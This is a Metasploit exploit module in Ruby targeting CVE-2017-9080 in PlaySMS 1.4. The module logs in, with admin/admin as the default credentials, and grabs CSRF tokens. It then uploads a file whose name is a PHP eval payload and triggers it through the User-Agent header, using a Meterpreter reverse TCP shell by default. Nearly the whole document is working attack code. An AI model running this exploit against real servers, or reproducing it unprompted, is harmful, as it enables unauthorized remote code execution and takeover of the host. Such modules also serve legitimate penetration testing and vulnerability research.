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## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution', 'Description' => %q{ This module exploits a code injection vulnerability within an authenticated file upload feature in PlaySMS v1.4. This issue is caused by improper file name handling in sendfromfile.php file. Authenticated Users can upload a file and rename the file with a malicious payload. This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7. }, 'Author' => [ 'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Discoverys and Metasploit Module 'DarkS3curity' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ ['EDB','42003'], ['CVE','2017-9080'], ['URL','https://www.youtube.com/watch?v=MuYoImvfpew'], ['URL','http://touhidshaikh.com/blog/?p=336'] ], 'DefaultOptions' => { 'SSL' => false, 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'ENCODER' => 'php/base64', }, 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'PlaySMS 1.4', { } ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'May 21 2017')) register_options( [ OptString.new('TARGETURI', [ true, "Base playsms directory path", '/']), OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin']) ]) end def uri return target_uri.path end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php') }) rescue vprint_error('Unable to access the index.php file') return CheckCode::Unknown end if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login') return Exploit::CheckCode::Appears end CheckCode::Safe end def login res = send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), 'method' => 'GET', 'vars_get' => { 'app' => 'main', 'inc' => 'core_auth', 'route' => 'login', } }) # Grabbing CSRF token from body /name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? vprint_good("X-CSRF-Token for login : #{csrf}") cookies = res.get_cookies vprint_status('Trying to Login ......') # Send Creds with cookies. res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'index.php'), 'cookie' => cookies, 'vars_get' => Hash[{ 'app' => 'main', 'inc' => 'core_auth', 'route' => 'login', 'op' => 'login', }.to_a.shuffle], 'vars_post' => Hash[{ 'X-CSRF-Token' => csrf, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }.to_a.shuffle], }) fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? # Try to access index page with authenticated cookie. res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php'), 'cookie' => cookies, }) fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? # if we redirect to core_welcome dan we assume we have authenticated cookie. if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome') print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]") store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) return cookies else fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") end end def exploit cookies = login # Agian CSRF token. res = send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), 'method' => 'GET', 'cookie' => cookies, 'vars_get' => Hash[{ 'app' => 'main', 'inc' => 'feature_sendfromfile', 'op' => 'list', }.to_a.shuffle] }) fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? # Grabbing CSRF token from body. /name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? vprint_good("X-CSRF-Token for upload : #{csrf}") # Payload. evilname = "<?php $t=$_SERVER['HTTP_USER_AGENT']; eval($t); ?>" # setup POST request. post_data = Rex::MIME::Message.new post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token post_data.add_part("#{rand_text_alpha(8 + rand(5))}", content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = "form-data; name=\"fncsv\"; filename=\"#{evilname}\"")# payload post_data.add_part("1", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="fncsv_dup"')# extra data = post_data.to_s vprint_status('Trying to upload file with malicious Filename Field....') # Lets Send Upload request. res = send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), 'method' => 'POST', 'agent' => payload.encode, 'cookie' => cookies, 'vars_get' => Hash[{ 'app' => 'main', 'inc' => 'feature_sendfromfile', 'op' => 'upload_confirm', }.to_a.shuffle], 'headers' => { 'Upgrade-Insecure-Requests' => '1', }, 'Connection' => 'close', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", }) end end |
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